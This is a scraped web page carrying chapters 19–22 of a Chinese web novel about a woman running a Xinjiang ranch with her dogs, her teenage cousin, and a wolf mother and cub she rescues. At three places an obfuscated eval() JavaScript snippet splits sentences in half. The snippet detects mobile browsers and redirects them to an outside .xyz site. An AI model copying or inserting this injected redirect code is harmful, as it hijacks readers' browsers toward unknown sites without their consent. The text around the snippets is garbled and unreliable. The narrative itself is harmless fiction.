养兔子的念头在姚新泉脑海中过了一遍也没留下什么影儿，最起码等到明年再去想想要不要扩大养殖规模，今年先把该育肥的育肥，好好把冬天过了吧！ 19. 第 19 章 几个小家伙适应得很快，也不知道是本来就聪明还是有她金手指的原因在，半个来月的时间他们已经适应了去当一条牧羊犬了。 几个小家伙里面性格最活泼的就是朵朵了，虽然还是有点儿风吹草动就想去凑凑热闹，但是姚新泉跟他做了好几回思想工作之后他总算明白了要得先做好自己的工作才能去干别的。 毛毛、塔塔跟大头的话这到底也算是人家老本行了，也没啥不适应的。 最让她惊喜的是娜娜，这个小家伙如今放牛放得可好了！她不仅已经学会驱赶牛群，到点儿了把牛群赶回家来补饲料，她还带着点点玩儿！ 她每天早晨上工的时候就把点点叼在嘴里，到了地方再把他放下来让他自己跑，换地方的时候还知道把孩子找回来。 最初姚新泉只是起了个念头，她给娜娜弄了个小兜儿，里面装上点点的羊奶，她再把小兜跟点点一起叼着。 姚新泉跟着走了两天，发现点点饿了的时候，娜娜就会把奶瓶叼出来让他喝奶，姚新泉都惊呆了，这是什么神仙奶妈！ 她好好奖励了一番小家伙之后娜娜带娃带的更欢快了。 皮皮更能跟朵朵玩到一起去，为了让他们熟练工作，姚新泉现在是让娜娜去牧15头公牛，毛毛、大头和塔塔去牧80头羯羊，朵朵的话跟着玛依拉和马合木提江去牧500头细毛羊。 也是因为最近马合木提江他们往山下走了一点儿，不然太远了也不能让孩子整天跑。 后来也不知道咋回事，皮皮天天跟着朵朵去放羊，有一次还被姚新泉抓到皮皮想把朵朵甩到自己背上驮着他走…… 她觉得皮皮骨头还没长成都不舍得骑，结果人家自己给自己找了个骑手。 就离谱！ 不过最终以朵朵坠马告终，两个小家伙还是只能每天来回奔波。 时间飞逝，转眼姚新泉回来牧场已经小两个月了，9月种下的黑麦草如今已经可以进行第一次收割了，如果温度高的话一般情况下10月底就能收割了，可惜今年温度比往年要低几度，到11月初才能收割。 姚新泉又请了上次的师傅把麦草都收割完后，父母还有自己囤的这些干牧草将近四五百吨了。 不要觉得多，北疆的冬天漫长，差不多从11月中下旬到3月份，将近150天的时间。一头羊每天差不多要吃将近3公斤干草，就算不算那些羯羊，这就差不多250吨了。 牛的话一天得将近10公斤，算下来也要150吨。马一天差不多要吃8公斤干草，这又是十来吨。 这还没算那些羯羊呢！ 今年春节比较早，2月4号就过年了，那差不多1月初就得全部出栏。从现在到1月初还有将近两个月呢！ 就算再添加了一些精料，可这草料也不能紧巴巴的去吃吧，总得留一点儿余地。 姚新泉已经看好了一片草地的牧草，还能割一次，已经让师傅去割了，估计那边晒干之后还有个五六十吨，这样算下来基本上才够。 看系统的意思是大后天就要下雪，到时候羊就要开始圈养了，这几天还是继续让马合木提江夫妇他们放牧。 “姐！你在那儿啊！” 姚新泉的思绪被打断了，她无奈地看向那边喊叫的张新康，也就是她小姨的儿子。 “我在哪？你睁大眼睛看一下，我不就在你眼前吗？”姚新泉直起身子举着菜刀看向他。 张新康动作一顿，没忍住往后退了一步，又得了姚新泉的一个白眼，“赶紧过来下地，给我收白菜！” 找个免费的小工容易吗！ 张新康委屈巴巴地刚想去找菜刀就被拦住了，“你别碰刀啊！你就跟在我后面，把我切下来的这些白菜外面烂的叶子扒掉，那种不太新鲜的还是留着，然后都放到田埂上去，回头我拉回去晒。” 张新康哦了一声，刚要动又被拦住了，“你把你那皮手套脱了！”姚新泉没忍住叹气，谁家干活带皮手套？ “我客厅抽屉里有劳保手套，你去拿一双过来！” 张新康在学校也是个闹将，但不知道为什么从小在这个表姐面前都没敢大声说过话。 他姐比他大五岁，印象中他七八岁的时候曾经被姚新泉一脚踹倒在地上，他哇哇哭，他爸哈哈笑，从那时候他就知道了，别想跟他姐斗，他姐不会让着他，他爸妈更不会帮他！ 从那之后他姐说东他不敢往西，老实极了。 姚新泉见他跟个小媳妇儿一样不知道从哪里找到了一条她妈妈之前的头巾把自己裹得严严实实的眼中闪过一丝笑意，“康康，我听你爸说你在学校打架？” 张新康僵在原地，随后便是一阵气闷，“我爸就是个大漏勺，他都跟我说了保密不告诉我妈的！” “那你爸现在也没告诉你妈啊，他只是告诉我了，我也没告诉你妈，我只是好奇问问，你别激动。” 张新康见她没有训斥自己的意思也来了劲儿，抱着硕大的白菜颠颠儿地往田埂上跑，倒也不影响他说话。 有一说一，系统出品那是真的精品啊！ 今年她总共就在这四亩的菜地上用了配好的肥料，如今这大白菜不仅颗颗都包芯了，而且老大一颗，姚新泉掂量了一下，感觉大差不差有十公斤了。 萝卜也是，她种了好几个品种，青皮萝卜、白萝卜、胡萝卜、黄萝卜还有心里美萝卜，各个儿都是大家伙，导致姚新泉现在心里既有丰收的喜悦，又有点肝儿颤，这一个冬天净吃萝卜啊？ 明天春天她可得给牧场上好好施施肥！ 她爸妈承包的这片牧场大多数地方的草场质量还是不错的，她家也算是轮牧，给了草场缓冲的时间，并没有因为放牧对草场造成太大的损伤。 但是这毕竟承包了三十年，总要为以后着想。 而且还有几片地方有土地盐碱化的趋势，她是打算了明年开春看看种点儿东西，比方说种点苜蓿之类的，到时候就用上这个肥，不过到时候可能得跟别人买点了，算了，等春天的时候看看家里的粪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502093|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肥有多少吧！ 思绪飘了一下她又开始关心张新康的事情了，事实上这次张新康周末过来玩是他爸专门打电话来说的。 没错，姚新泉的电话装好啦！ 上次楼宇回家跟她妈一说，第二天就有人上门来拉线了，姚新泉心里记下了这个情，打算过年到时候给人家送点儿自家养的牛羊过去。 张运秋专门打电话过来跟她吐槽，说是张新康在学校跟别人打架，老师找了家长过去谈话，张运秋亲自问他是怎么回事儿他也不说，也死犟着不道歉。 就这样啥都不说，最后竟然还好意思让张运秋别告诉苏永华，张运秋当时都气笑了。 “我都在想，我如今胖起来你小姨说我满脸横肉，脸上再来一道疤就跟手上沾过好多血一样了，就这样那个兔崽子是一点不怕，还跟我提要求？”这是张运秋的原话，当时把姚新泉笑得不行。 不过张运秋相信张新康不是那种坏孩子，里面肯定有别的事情，他既然不愿意跟爸爸妈妈说，没办法他只能来拜托外甥女了。 张新康跟这个姐姐最亲，保不齐能问出什么来。 “我丑话说在前面，你应该猜到了我是帮你爸来打探消息的。他虽然相信你肯定没有干坏事，但还是关心你，你跟我说的东西我很大可能性是要跟你爸说的。你要是真觉得不方便说那也就别告诉我。” 姚新泉这话一出倒让张新康笑了起来，他带着个红头巾笑得跟驴叫一样，也不知道在傻笑什么。 过了一会儿他才有点不好意思地凑了过来，“也不是不能说，主要是我怕我爸以为我早恋了。” “我同桌是个女生，她”，张新康话到了嘴边还是有点说不出来，扭捏了半天才小声道，“就是，她发育比较快。” 姚新泉懂了，还以为这臭小子要说什么呢！ 见她不以为意张新康也不觉得羞耻了，继续道，“我们班的人还好，主要是普通班有几个男生，那真是贱得不行！我们两个班的体育课是一起上的，体育课不是要跑步嘛！”张新康从红头巾里给了姚新泉一个你懂得的眼神，姚新泉自然是明白了。 还能是因为什么？女孩子正常的身体发育，可能对于那个年龄段的孩子来说跟别人不一样就是一件令人觉得羞耻的事情。若是再有一些小王八蛋起哄，那更是会让女孩子头都不敢抬的。 长大了之后可能也会习惯性地含胸驼背，甚至去束缚身体的正常发育。这些臭小子真讨厌！ 姚新泉没问他是不是也会嘲笑小姑娘，自家这个弟弟皮了点儿，但是他可是个三观特正的好孩子！ “是不是那些人嘲笑小姑娘，然后你就跟他们打架了？” 张新康用力点头，眼中满是对姐姐的信赖，“可不是吗，他们可不止是嘲笑，嘴里还不干不净的，把我同桌都说哭了！我去跟他们说了让他们闭嘴，他们又是说我多管闲事又是说我”，他露出个被恶心到了的表情，“反正我就气得不行，他们嘴贱那就得挨打，反正我打的不后悔！” 20. 第 20 章 “你姐先得夸你两句，我这才出去几年，你都会保护小姑娘了啊？” 听到姚新泉的调笑张新康嘿嘿笑着挠头，他就知道他姐最懂他了。 “不过不管怎么样，打架肯定是不可取的”，听到这话他又撇嘴，“你想啊，你把他打坏了，你爸妈得给人赔钱，还得去道歉，万一再严重点儿把他打死打伤了，他没了小命，你的人生也玩儿完了！” 张新康尴尬地张了张嘴，不至于真不至于，他又不是疯了！ “那要是你被打伤了，你爸妈不得心疼死？” “我知道你是出于保护女同学的目的动手的，本意没错，可你想没想过，万一这事儿闹大了，对方没兜住说了出来，那对人家女孩子的影响也很不好的。再或者会不会还有人说那女孩子不检点，小小年纪就勾得你们男生为她打架？”社会上对女性的苛责是从小到大都有的，就连国家的灭亡或者衰败不都能找出妲己、褒姒、杨玉环来背锅吗？ 知道张新康不是个傻的她也不多说，“行了，这事儿我记下了，我回头想想办法看怎么处理这个事情，我也不会跟你爸说，我只跟他讲事关别人隐私不好讲，不过你可得答应我以后不许随便跟人打架了知道吗？” 张新康咧着嘴点头，他姐从小到大就没有做不成的事情。 上学从来都是第一名，高考考了好高的分儿还去了上海读大学。听说现在已经不是每个大学毕业生都给分配工作，他姐还能自己找到那什么外企的工作。如今说回来就回来，牧场也经营的那么好，就没有他姐干不成的事儿！ 姚新泉不知道弟弟心里的感慨，不过这种事情还是得学校干预，不只是为了张新康，还为了那些女孩子。 张新康就读的初中就是她以前的初中，她有机会可以回去看看了。 聊开之后张新康只觉得姐姐更贴心了，他嘴里哼着不知名的小曲儿把大白菜都抱到了田垄上。 姚新泉那是有系统加持过的大力气，张新康那纯粹就是年轻人一身使不完的牛劲儿，看得姚新泉嘴角抽搐，“就该让你过来给我喂牛！” 哈哈！张新康笑了起来，“那你得等我中考之后了，寒假的时候我们学校还得补习，肯定是没时间的！” 他还在那嫌弃姚新泉砍得太慢了，跃跃欲试想自己来。姚新泉可不敢让他瞎胡来，这小子毛毛躁躁的，真砍到自己了她可没法儿交代。 “行了，你回去把我放在院子里的独轮车推过来，客厅边上有一大块儿帆布，你在门口铺上，然后把白菜运回去摊开来就行”，这新鲜白菜、萝卜得稍微晒两天，不然冬天存不住。 张新康小跑着回去，那背影欢快的让姚新泉突然开始怀疑，为啥不让雇童工？这种大小伙子不上学的时候不出来干活放在家里简直就是浪费资源！ 中午姚新泉烧了一顿红烧肉，里面切了一颗大白萝卜，吃得张新康满嘴流油，“姐，你家这萝卜怎么一点儿萝卜味儿都没有，特别清甜，也没什么纤维感，可比外面买的好吃多了！” 姚新泉心里得意，又招呼他吃醋溜白菜，“你再尝尝这白菜？” 张新康夹了一筷子之后眼睛都亮了，“姐，你到时候给我家点儿白菜跟萝卜呗，真的超级好吃，比肉好吃！” “我种了那么多呢，等明天送你回去的时候我拉一车下去，给你家还有我小姑、小叔家里分一分，你爸妈要是喜欢，你让他自己开车过来拉，我跑一趟还怪费劲儿的！” 张新康用力点头，不过又有些遗憾，“城里谁家也没地窖，估计存不了多少，你给我们几颗就成了，太多要是坏了可就浪费了。” 姚新泉无所谓这些，“看你们自己吧，快吃，吃完下午还要干活呢！”那么多地，上午估计也就收了一亩多，差不多要明天上午才能干完，让这小子也好好劳动劳动。 要说起来家里这几个弟弟妹妹里面她最喜欢的就是张新康了，这小子成绩虽然不是拔尖的，但是也不差，最主要的是这孩子享得了福也吃得了苦。 如今这套房子是姚新泉家里新盖的，早几年家里住的虽然也是砖瓦房，但是屋子小，里面盘的火炕，冬天灰尘就特别大。 寒暑假这几个孩子来自家的时候，小叔家那两个小的每次都满脸嫌弃，觉得在农村受苦了。 小姑家就一个儿子，不过那个孩子养在他名义上的堂伯实际的亲大伯家，反正也是一堆破事！他跟那边亲戚比较近，跟姚新泉这边走得不算近，也就来过一两次，但是也总是嫌这嫌那的。 只有张新康，每次见了都大姨、姨夫、姐姐，叫的可亲了，来了就自己找活儿干，帮着喂牛喂羊，嘴还甜，这种小孩儿谁不喜欢？ 两人干到太阳下山，牛羊群都回来了姚新泉才喊停，“你先回去，我把这点儿运回去就成。” 张新康刚想说话可一抬头目光落在不远处后眼中满是恐惧，“姐，有，有狼，快跑啊！” 姚新泉立马反应过来举起铁锹挡在胸前，“你先走，你手上没武器，赶紧回屋！” 张新康哪里肯啊！他姐那么瘦弱的一个小姑娘，怎么能让她独自面对一头狼呢？ 可是这在野外见到的狼可跟动物园见到的狼完全不一样，在它逐步靠近时产生的压迫感让张新康的脚定在了原地，根本不敢上前一步，他感觉自己都闻到了狼嘴里的那股腥臭味！ 姚新泉余光见到张新康还没走心里着急，可也不敢在这匹孤狼面前挪动，紧张起来一时间也忘了自己有金手指的事情。 就在僵持中，身后突然传来激烈的狗叫声，是娜娜他们！ 姚新泉眼睛一亮，感觉到狗狗军团们离得近了，她突然转身抓住张新康的胳膊就往后跑，狗狗军团们毫不迟疑地朝孤狼冲了上去，他们脸上带着姚新泉从未见过的英勇与凶悍！ 两人一路往回跑，可总觉得狗叫声离得越来越远了，姚新泉觉得不对，一回头就发现，那匹孤狼此时正被五条大狗追着跑！ 这下她可就不怕了！ 姚新泉想了想拍了下张新康的肩膀，“你先回屋待着，我去看看怎么回事”，说着拎着铁锹就小跑了过去。 张新康心里害怕，可也不能放任她一个人去，他跺了跺脚最终还是追着姚新泉的背影往那边跑。 牧场特别大，但是她家这个屋子以及种的几亩地离有一边特别近，姚新泉看这方向倒像是往那边走的。 等远远看到狗狗们已经冲出围墙后姚新泉赶忙大喊，“回来！回来！不要追了！赶走就行了！” 不知道是不是因为听到了她的声音，几只小家伙没有再追，跑了过来围着姚新泉转圈。 姚新泉见他们这幅模样，没忍住每个都亲了亲脑壳，“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502094|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们怎么这么乖，这么英勇啊！” 小家伙们昂首挺胸的，不过当姚新泉的目光落在娜娜身上的时候顿了下，随后便是又想笑又想哭。 娜娜的腿都在发抖，可就算这样，就算她怕狼，可是娜娜还是叫的最大声的那个！在同伴们冲上去的时候她同样也是狗狗军团中非常英勇的小战士！ 姚新泉只觉得眼眶酸酸了，这可是一只因为胆小而被淘汰的警犬啊！ “姐，你这狗也太乖了吧！”张新康都要羡慕死了，五条大狗，五条威风凛凛的大狗正围着姚新泉撒娇呢！ 不就是要羡慕死他吗？他承认，他姐做到了！ 不过现在最重要的事情是，狼是怎么来的？家里这围栏才修了半年，难道就出问题了？ 姚新泉走近围栏，目光一顿，她咬了咬牙，妈的，这是人拿老虎钳子夹断的！ “康康，你现在回去报个警，就说我牧场的围栏被人弄坏了，这边肯定有小偷！” 未必是狗狗们来之后发生的事情，刚才也说了，这边离家里比较近，一般都不会来这边放牧的，狗子们来了之后便忙着上岗，她也没时间检查所有的围栏。 不过她很确定牛羊马都没有丢，姚新泉猜测可能是之前看牧场只有她所以有人偷偷剪断围栏想进来盗窃。 但是准备好之后，牧场里多了五条神骏的大狗，那人不敢冒险了。 张新康老实回去打电话，这时候姚新泉才有功夫理会系统，“系统，你刚才说什么？” 系统沉默了许久，“我说你怎么不等我死了再想起我呢？” 姚新泉愣了一下，这家伙怎么这么阴阳怪气的。 “刚才那个情形你又不是没看到？有狼啊！” 系统冷哼了一声，“所以呢？人家想伤害你了吗？你当我给你的金手指是吃干饭的啊？” 对哦，她有金手指来着！ 姚新泉一瞬间有点尴尬，没等她说什么，就听系统道，“检测到西南方两公里处有一狼崽需要救助，宿主是否救助？” “狼崽？”姚新泉抿了抿唇，脸上神情更是一言难尽，“所以你的意思是刚才那匹狼是来求助的？” “不是”，姚新泉的心提了起来，就听系统接着道，“它是在哺乳期活得不耐烦了，单枪匹马闯入牧场，想在五条大型犬的包围中咬死你！” 姚新泉被噎住了，这个破系统！一天到晚就会阴阳怪气！ “行了行了，我接任务行了吧？我先去跟康康说一声，不然他肯定要担心”，说着往家里小跑过去，遇到张新康后她也没多解释，“我现在出去有点事，你在家里等着我，我把娜娜跟大头留给你，其他三只跟我走”。 说着又给狗狗军团交代了一下，两只留守成员乖巧坐在地上等，姚新泉则是从那个铁丝网洞里翻了出去，三只狗狗更是轻轻一跳便在墙外落地，显得方才艰难把自己挤出来的姚新泉特别狼狈。 她一路往目的地小跑，三个小家伙护卫左右，差不多二十分钟后姚新泉才到了目的地，果然，方才那匹母狼正焦急地在那转圈圈。 与那匹狼对上视线的时候，姚新泉很确定自己从中看到了幽怨。 她清了清嗓子，“我看看行吗？”说着她小心翼翼一步一步往前走，就看到原来前面是一个陷阱，陷阱里有一匹小狼正在呜咽。 21. 第 21 章 “是你的孩子对吗？你稍等啊，我想想办法看怎么把它弄上来！”姚新泉看着这个高度发愁，这个陷阱估计有三米多的高度，这也是母狼没有自己下去的原因。一般狼是能够轻松跳过2米左右的高度的，三米的话就得要助跑了。但是如果带着小狼崽，母狼就算助跑也别想跳上去。 至于她的话，别说带着小狼了，就算只有她自己她也爬不上来啊！ 肯定还是要借助工具，但问题是手边没有啊！ 要是回去拿一来一回都是时间，而且看这只小狼的状况似乎已经被困挺久了，饿了还好，会不会缺水啊？ 她四下打量着，目光突然注意到那边有棵干枯倒下的树，姚新泉眼睛一亮，赶忙走了过去。 走进一看就发现这棵树干绝对超过三米，而且也足够粗，放到陷阱里撑着肯定能借力爬上来！ 想到这她咬了咬牙把树抗了起来，到了陷阱边上后她朝里面的小狼喊，“你站到一边去，小心别被树压到了！” 母狼也在一边嚎叫，姚新泉不管它，小心注意着不会伤到小狼后姚新泉把树干放进了陷阱里。 这陷阱深但是不宽，树干竟然可以顶着底部的一边斜着竖起来。 这下姚新泉更放心了，她在陷阱边上试探了一下后还是决定直接跳下去。 落地之后她脱了外套把小狼兜住又系了起来绑在背后，然后小心抱着树干往上走，一步一步，在三条狗狗以及一匹母狼担忧的目光中，终于爬了上来！ 母狼叫了一声也顾不得别的就冲上来拱姚新泉，姚新泉笑着摸了下她的背，“你等一下，等一下，我这就把你孩子拿出来”，说着把衣服解开把小狼放到了母狼肚子那里，小狼呜咽着就凑上去大口喝奶。 姚新泉又看了一眼这个陷阱，或者都不算陷阱了，毕竟上面好想并没搭什么伪装的东西，只能算是一个大坑。 如果真是陷阱，小狼的体重那么轻，反而未必会掉下去！ “行了行了，你孩子也给你还回来了，你快带着孩子回家吧！”姚新泉站起来伸了个懒腰，没忍住又摸了下母狼的头。其实说实话，触感并不算特别好，甚至有点扎手，可是摸野生动物和摸自家小狗狗的感觉怎么能一样呢？ 母狼轻轻用吻碰了碰姚新泉的手，姚新泉笑道，“以后可不许乱跑了，快要下雪了，你们赶紧回家吧，尽量多囤一点粮啊！”说完也不管它听没听懂，带着三个保镖就回家了。 等到的时候就看到有警察正在铁丝网那边检查，姚新泉跟几人打了声招呼，光明正大地又从洞里钻了进去，几人嘴角抽了抽。 “牧场里有损失吗？” 姚新泉摇头，这个确实没有。 “还有见到其他被人为破坏的地方吗？” 姚新泉还是摇头，“目前为止就这一个，不过我太忙了没时间转，这两天我会检查一遍的。” 警察有些为难，“你这个没有损失，而且也不知道是什么时候发生的事情，确实不是很好追查啊！” 这除非是真的有人碰巧看到了，或者是被抓了个现行，不然怎么找？怎么抓？ 姚新泉也知道他们的为难，见状也只是笑了笑，“那行，辛苦你们跑一趟了。” 几个警察还有点不好意思，但这确实没办法，所以打了个招呼就离开了。 “姐你干嘛去了？”张新康追着问道。 “救小狼。” “啥？”张新康一头雾水，“救啥？” “小狼”，姚新泉笑着逗他，又把自己外套递给他，“你仔细找找，我外套上可能还有狼毛呢！” 张新康皱着眉头接过外套，小心举到眼前看，半晌找到了一根有点像的，可目光落在朵朵身上的时候又有点迟疑，“不会是朵朵的毛吧？” 朵朵听到自己的名字后抬了下头，随即走到另一边姚新泉的身边，才不跟傻子玩呢！哼！ “我逗你干嘛？那母狼也不是为了过来咬人的，人家孩子掉在大坑里了，来找咱求救的。” 张新康的嘴张张合合半天不知道说什么，不像真的，可他姐骗他有什么意义？ “可是，可是对你们养殖户来说，你不应该跟狼是敌对关系，然后把狼杀了吗？” 啪！姚新泉一巴掌呼在他的脑袋上，“人傻你就多读书！八八年的时候国家就出台了《野生动物保护法》，那狼就是国家的二级保护动物，是禁止非法捕杀的！除非说是有些地方的狼威胁到了人畜安全，但那种也是需要上面签发捕猎许可证的，否则私自猎杀那就是违法的，那可是要吃牢饭的傻弟弟！” “这样啊”，他叹了口气，“我还没吃过狼肉呢！” 姚新泉嫌弃地看了他一眼，“我家里有你大姨夫之前留下来的狼牙，给你一颗回去让你爸给你找个红绳穿起来挂脖子上。” 张新康被哄好了，高高兴兴跟在她身后回家。 晚上吃得中午剩下的红烧肉，又凉拌了一个萝卜丝，蒸的白米饭，张新康再一次吃撑了。 “你住我爸妈那间”，想了想姚新泉还是问了一句，“或者你住我那间？” 爸妈离世还不到半年，她怕张新康心里有顾忌。 张新康听出她什么意思了，只是嗐了一声，“那是我大姨和大姨夫，姐你这话就伤人心了！” 姚新泉笑着摸了摸他的头，“行了行了，姐跟你道歉，赶紧去洗澡吧！我这里没电视，不过你也干了一天活了，早点休息，明天起来接着干！”随后在张新康的哀嚎声中姚新泉也回屋了。 第二天早晨两人干完活，中午又给他烧了一顿清炖羊排，里面放着萝卜，吃得张新康都不想走了。 “姐，你家萝卜白菜都这么好吃，那你家牛羊得好吃成啥样啊？” 就普通样，还能啥样？姚新泉无语，那肥料是给蔬菜用的，又不是给牛羊用的，能有啥区别？ 不过当她的目光放在门口的白菜上时心里一动，今年就算了，明年牧场上用上这种肥料之后羊肉会不会也更好吃呢？ 不过这都是明年的事情了，不想了。 姚新泉装了四尼龙袋子的萝卜白菜，“你摩托车上捆上一袋子，这袋子是你的工钱，我这边三袋子再给你家一袋儿，到时候不够了让你爸再来拉！” 听到这是自己的工钱张新康嘴都咧开了，上前就扛起袋子放到摩托车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502095|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，又小心翼翼地捆好。 等到了县城后，姚新泉都说了直接给送到他家去，但是张新康不，他先回家把姚新泉送的那袋子放到家里，随后又驮着那袋自己赚来的跑到自家店里去了。 “爸！爸！” 张运秋听到动静后赶忙出来，还以为咋了呢，结果出来后就看到张新康一脸得意地倚靠在摩托车上，见他出来还拍了拍摩托车后面的袋子，“你看，这是我姐给我开的工钱！” 张运秋都气笑了，指着他半天不知道说什么。 “你姐呢？” “我姐给咱家送了菜之后又去姚姑姑和姚叔叔家送菜了。” “你姐送了菜那这又是什么？” 张新康莫名其妙地看着他，“我说了啊，这是我的工钱！” 半晌张运秋才反应过来，合着外甥女先送到自家一袋子菜，这个兔崽子不把他这一袋子放下，专门带着过来显摆的是吧？ 想通之后张运秋嫌弃地摆了摆手，“赶紧地回家，知道你厉害，你干活你姐都给你工钱了行吧？” “我跟你说老张你别瞧不起人，我姐种的萝卜白菜是我吃过最好吃的萝卜白菜，你瞧不起我赚来的，你回头别吃！” 张运秋翻白眼，心想我儿子赚来的我还不能吃了？ 另一边今天姚新泉去的时候姚晓刚在家，见到她后惊喜得不得了，赶忙给她倒水，“你来得真巧，我同学给我寄了两箱苹果过来，你小姑那边家大业大的咱就不管她了，你过会儿拿回去一箱。” 他笑着把箱子搬了过来，“你知道的，家里没有摩托车，我要是骑自行车过去就太费劲儿了，我还想着明天给你打电话让你自己来拿呢！真是来的巧了！” 姚新泉向来不拒绝这些亲戚的好意，她笑着收下，又把自己带来的萝卜白菜搬了过来。 “虽说不是什么太好的东西，但是康康在我那两天净说我家的萝卜白菜比市场上的好吃，你跟婶婶也尝尝，要是好吃我再给你们送！” 姚晓刚见状心里更高兴了，不是孩子给自己送东西，是孩子自己把日子过起来了！ 接着他把牧场上的情况大致问了问，太细节的他也没听懂，但是他看出来了，这个大侄女心里是有数的，要做什么该做什么他全都清清楚楚！ “你都不知道听你说这些小叔心里多高兴！”姚晓刚笑着感叹，想起什么他拍了下脑袋，“你瞧我这记性，我有个电话要给你！” “我师范大学的教授她爱人是农业大学的教授，我跟老师关系好，也跟她讲过你的情况，这是我师公的电话，老师的意思是你如果有什么弄不明白的或者有什么需要帮助的可以打电话过去问。” 想了想他还是有点别扭地说道，“咱们好钢尽量用在刀刃上，能想办法解决的咱们就自己想办法。因为我记得师公那边经常会有一些项目要做，他们的很多项目都试点成功并且在逐步推广。我是想着如果能搭上他们的便车去做一些项目科研，还能拉到政府的一些扶持，对你经营牧场的好处更大，你说呢？” 说着他又不太好意思地笑了，“我也不太懂这些，就是我的一些拙见，具体还是你自己看！” 22. 第 22 章 姚新泉又是惊喜又是感动的，没忍住抱了抱姚晓刚，倒把姚晓刚闹了个大红脸。 她怎么也没想到姚晓刚会帮自己做到这一步！ 姚晓刚这人是一名无可置疑的好老师，其实市里早就有学校挖他了，他没走的很大一部分原因就是本地的教育资源短缺，他总觉得自己如果去了市里，市里也只是多了一名还不错的老师，但是如果留在县里，那可能真的会改变许多孩子的命运啊！ 县里村里的孩子又不是天生就比市里省里的孩子笨？无非就是从小享受到的教育资源不如别人，反正在哪里都是教书，倒不如就在县里也能拉一把那些有机会改变命运的孩子。 姚家亲戚都知道姚晓刚是怎么想的，不管别人怎么看待这件事情，姚新泉对他是真的很敬佩。 不过生活中他性格就相对软弱一些，家里的事情基本都是婶婶做主。 至于婶婶肖美燕这个人吧，姚新泉也没觉得她坏，只是小心思有些多而已，这也没什么可指摘的。 如今姚晓刚用自己的人脉去帮自己牵线搭桥，姚新泉心里感动得不行。 “小叔，你咋这么好呢？” 姚晓刚脸又红了，他轻轻摸了摸姚新泉的头发，眼中满是慈爱，“你爸爸若是还在，那你的事情轮不到我这个做小叔的操心。但你爸爸走的早，那小叔就当你是自家孩子，小叔没本事，但你想做的事情小叔都会支持，也会尽力帮你的。” 姚新泉眼眶酸酸的用力点了点头，脸上露出一个大大的笑容来，“等年前我杀了羊给你送来！” 姚晓刚笑着点头，自家孩子孝敬有什么好拒绝的呢？ “这些萝卜白菜味道确实比市面上好，你要想吃回头你用单位电话给我打电话，我再给你送过来！” 两人又说了几句话姚新泉这才骑车去下一家，不过小姑家的员工说她不在，去市里了，姚新泉只能把东西留下先回家了。 因为围栏的事情第二天一早姚新泉就爬了起来，她给摩托车加满油，又配合把牲畜们都放了出去，自己骑着摩托车绕着牧场完完整整地转了一圈，一天下来最终确定了只有那一个洞，别的地方都没有问题，还是比较牢固的。 姚新泉这才放下心来，她又找了些铁丝把栅栏修好，这事儿也就算是过去了。 不然能怎么办？没损失，也抓不到是谁干的，只要以后不再出问题就成。 傍晚的时候姚新泉听到了狗狗军团们的叫声赶忙跑了出去，原来是狗狗们带着牲畜回来的时候撞见了在被修好的破洞处徘徊的母狼和狼崽。 “你们怎么来了？”姚新泉看了看小狼崽确认它没什么问题这才问母狼。 母狼将地上的兔子叼了起来想递给她，但是塞不进去，大大的狼眼里似乎满是无奈。 姚新泉哈哈大笑，“没事儿，你带回去吧，给孩子吃，或者你自己吃，你看你瘦的！” 可能是因为哺乳的关系，母狼如今看上去瘦巴巴的，要是忽略它野兽的身份甚至有点可怜。 “你等一下！”姚新泉想到了什么赶忙往回跑，这对母子可是给自己贡献了15个积分呢！ 也不知道系统是怎么计算的，救助小狼崽跟救助小金雕的难易程度能一样吗？ 想到上次在云杉树上的场景她现在都心有余悸、腿发软好嘛！ 这两次积分竟然一样！ 为了这也得给母子俩补一补！ 她把自己昨天出去买的七八根排骨一起拿了过来，想了想还是绕到栅栏外面去，隔着栅栏不好喂。 等到了外面，母狼见到那肉嘴角似乎闪过一丝晶莹，姚新泉笑着将肉递给它，又接过它带来的那只兔子，从口袋里拿出一把英吉沙小刀来，动作熟练地给兔子剥了皮。 她切下一丝肉条递给小狼崽，小狼嗷呜一口咬了上来，嚼嚼嚼！ 姚新泉笑着继续投喂小狼崽，“行了，这兔子肉给你们母子俩吃，这兔子皮我就拿走了，也算接受你的谢礼了！” 她冲母子俩挥了挥手便离开了，再次回头的时候只隐隐约约看到母子俩离去的背影，还是一只懂得报恩的狼呢！ 马合木提江夫妇离得远，没看到这边发生了什么，姚新泉等他们把牛羊马都关好，又给该育肥的补充了些饲料后这才把他们两人叫了过来，将这几天的工资发给他们。 “明天应该就要下雪，到时候羊就不放出去了，你们就不用过来，我自己在家喂就成。” 